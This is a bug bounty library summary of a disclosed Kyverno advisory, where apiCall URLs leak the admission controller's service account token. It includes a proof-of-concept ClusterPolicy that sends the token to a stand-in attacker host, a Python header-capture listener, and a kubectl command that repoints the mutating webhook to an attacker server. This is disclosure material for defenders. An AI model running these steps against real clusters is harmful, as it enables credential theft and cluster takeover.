# Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Kyverno apiCall sends its admission-controller SA token to any unvalidated service URL, letting policy writers steal it and hijack cluster webhooks.

- Payout: Research
- Severity: high
- Program: Kyverno
- Found by: KoreaSecurity
- Disclosed: 2026-04-16
- CVE: CVE-2026-41323
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-f9g8-6ppc-pqq4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-f9g8-6ppc-pqq4
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:privilege-escalation vuln:secrets-leak vuln:ssrf

**Target:** Kubernetes admission controller apiCall HTTP client
**Root cause:** apiCall service URL is passed to http.NewRequestWithContext with no scheme/IP/allowlist validation, and the executor auto-injects the admission controller's SA token as a Bearer header when none is set.
**Steps:**
1. Deploy Kyverno v1.17.1 via default Helm chart on K3s.
2. Run an HTTP listener on attacker host port 9999 to log headers.
3. Create ClusterPolicy `ssrf-poc` with rule `exfil` matching Pods, context apiCall service url `http://ATTACKER-IP:9999/steal`, method GET, jmesPath `@`.
4. Trigger evaluation with `kubectl run test --image=nginx`.
5. Listener receives `Authorization: Bearer eyJhbGciOiJSUzI1NiIs...` with sub `system:serviceaccount:kyverno:kyverno-admission-controller`.
6. Patch webhook: `kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg --type='json' -p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' --token="eyJhbG..."`.
**How found:** Code review of pkg/engine/apicall/executor.go: noticed service URL flows unvalidated into http.NewRequestWithContext (~line 138) and that lines 155-159 auto-add the SA token when Authorization is absent; confirmed policy validation webhook only checks JMESPath syntax, then verified token RBAC with `kubectl auth can-i`.
**Exploitation:** Attacker with ClusterPolicy write creates a policy whose apiCall points at their server; every matching admission request causes Kyverno to send its long-lived SA token. Token has PATCH on Mutating/ValidatingWebhookConfiguration, so attacker repoints Kyverno's webhook clientConfig.url to their server, intercepting and mutating all subsequent API requests (inject containers, mount host paths, privileged contexts). Token also works against 169.254.169.254 for cloud IAM creds on EKS/GKE/AKS.
**Escalation:** Stolen admission-controller token → patch webhook configs → intercept all cluster API traffic → arbitrary pod mutation and privilege escalation.
**Insight:** When a controller auto-attaches its own SA token to outbound requests, any user-writable field controlling the destination URL becomes a credential-exfil primitive — check what RBAC the controller's own SA holds, since that bounds the blast radius beyond simple SSRF.

## Proof of concept (copied exactly from the original report)

**ClusterPolicy with apiCall to attacker URL**

```
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: ssrf-poc
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: exfil
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: exfil
      apiCall:
        service:
          url: "http://ATTACKER-IP:9999/steal"
        method: GET
        jmesPath: "@"
    validate:
      message: "check"
      deny:
        conditions:
          any:
          - key: "{{ exfil }}"
            operator: Equals
            value: "NEVER_MATCHES"
```

**Attacker HTTP listener capturing token**

```
# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(json.dumps({
            "timestamp": str(datetime.datetime.now()),
            "path": self.path,
            "headers": dict(self.headers)
        }, indent=2))
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"ok": true}')

HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()
```

**Patch webhook to attacker URL with stolen token**

```
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
  --type='json' \
  -p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
  --token="eyJhbG..."
```

